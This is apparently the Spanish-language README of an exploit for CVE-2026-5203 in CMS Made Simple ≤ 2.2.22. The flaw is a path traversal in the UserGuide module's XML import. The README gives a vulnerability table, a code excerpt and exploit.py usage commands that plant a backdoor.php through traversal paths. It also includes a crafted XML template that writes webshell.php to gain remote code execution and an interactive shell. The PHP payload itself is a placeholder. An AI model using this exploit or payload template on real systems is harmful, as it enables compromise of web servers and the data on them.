
Exploit para CVE-2026-5203 en CMS Made Simple, aprovechando path traversal y subida arbitraria de archivos para lograr ejecución remota de código con un shell interactivo.
La funcionalidad de importación XML del módulo UserGuide en CMS Made Simple ≤ 2.2.22 no sanitiza los nombres de archivo proporcionados por el usuario, lo que permite a un administrador autenticado subir archivos arbitrarios (por ejemplo, shells PHP web) a cualquier parte del sistema de archivos del servidor mediante secuencias de path traversal.
| Campo | Valor |
|---|
| Tipo | Path Traversal / Subida Arbitraria de Archivos → RCE |
| Componente | Módulo UserGuide — Importación XML |
| Archivo afectado | modules/UserGuide/lib/class.UserGuideImporterExporter.php |
| CVSS v3.1 | 7.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| Autenticación requerida | Sí (Administrador) |
// modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
$filename = (string) $xmlFile->filename;
$isdir = (string) $xmlFile->isdir;
La función escribe el contenido decodificado en Base64 directamente en la ruta controlada por el atacante.
python exploit.py <base_url> <admin_url> <username> <password> [upload_path]
Ejemplos:
# Ruta por defecto
python exploit.py http://target.com http://target.com/admin admin password123
# Ruta de subida personalizada
python exploit.py http://target.com http://target.com/admin admin password123 \
../../../../../../var/www/html/backdoor.php
La shell interactiva se inicia automáticamente si el web shell es accesible después de la subida.
<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
<module>UserGuide</module>
<version>1.3</version>
<files>
<file>
<filename>../../../webshell.php</filename>
<isdir>0</isdir>
<data>[BASE64_ENCODED_PHP_CODE]</data>
</file>
</files>
</modulecontent>